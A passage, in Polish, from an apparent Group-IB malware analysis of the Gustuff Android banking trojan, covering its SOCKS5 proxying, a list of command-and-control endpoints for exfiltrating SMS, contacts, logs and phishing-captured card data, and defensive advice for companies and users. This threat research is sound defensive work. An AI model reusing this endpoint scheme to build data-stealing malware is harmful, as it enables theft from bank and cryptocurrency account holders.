W odpowiedzi serwer wysyła wiadomość SOCKS5 zawierającą adres zdalnego serwera, z którym należy nawiązać połączenie. Interakcja z tym serwerem odbywa się poprzez klasę zakończenia. Schematycznie konfigurację połączenia można przedstawić w następujący sposób:

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont

Interakcje sieciowe

Aby uniemożliwić snifferom sieciowym analizowanie ruchu, interakcję pomiędzy serwerem CnC a aplikacją można zabezpieczyć za pomocą protokołu SSL. Wszystkie dane przesyłane zarówno z serwera jak i do serwera są w formacie JSON. Aplikacja podczas działania wykonuje następujące żądania:

  • http://<%CnC%>/api/v1/set_state.php jest wynikiem wykonania polecenia.
  • http://<%CnC%>/api/v1/get.php - otrzymanie polecenia.
  • http://<%CnC%>/api/v1/load_sms.php — pobieranie wiadomości SMS z zainfekowanego urządzenia.
  • http://<%CnC%>/api/v1/load_ab.php — przesłanie listy kontaktów z zainfekowanego urządzenia.
  • http://<%CnC%>/api/v1/aevents.php – żądanie następuje podczas aktualizacji parametrów w pliku preferencji.
  • http://<%CnC%>/api/v1/set_card.php - przesyłanie danych uzyskanych za pomocą okna phishingowego podszywającego się pod Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – rozładunek danych dziennika.
  • http://<%CnC%>/api/v1/records.php – przesyłanie danych uzyskanych za pomocą okien phishingowych.
  • http://<%CnC%>/api/v1/set_error.php – powiadomienie o błędzie.

zalecenia

Aby chronić swoich klientów przed zagrożeniem ze strony trojanów mobilnych, firmy muszą korzystać z kompleksowych rozwiązań, które pozwalają, bez konieczności instalowania dodatkowego oprogramowania na urządzeniach użytkowników, monitorować i zapobiegać szkodliwej aktywności.

W tym celu metody wykrywania mobilnych trojanów oparte na sygnaturach muszą zostać wzbogacone o technologie umożliwiające analizę zachowania zarówno klienta, jak i samej aplikacji. Ochrona powinna uwzględniać także funkcję identyfikacji urządzeń za pomocą technologii cyfrowego odcisku palca, która pozwoli zrozumieć, kiedy konto jest używane z nietypowego urządzenia i wpadło już w ręce oszusta.

Fundamentalnie ważną kwestią jest możliwość analizy cross-channel, która pozwala firmom kontrolować ryzyka powstające po stronie nie tylko Internetu, ale także kanału mobilnego, np. w aplikacjach do bankowości mobilnej, do operacji na kryptowalutach oraz każdą inną, w której można ją przeprowadzić, transakcję finansową.

Zasady bezpieczeństwa dla użytkowników:

  • nie instaluj aplikacji na urządzenie mobilne z systemem operacyjnym Android pochodzącej z innych źródeł niż Google Play, zwróć szczególną uwagę na uprawnienia wymagane przez aplikację;
  • regularnie instaluj aktualizacje systemu operacyjnego Android;
  • zwracaj uwagę na rozszerzenia przesyłanych plików;
  • nie odwiedzaj podejrzanych zasobów;
  • Nie klikaj linków otrzymanych w wiadomościach SMS.

W roli głównej Siemion Rogaczow, Associate badacz złośliwego kodu, Laboratorium informatyki śledczej Group-IB.

Źródło: www.habr.com

Dodaj komentarz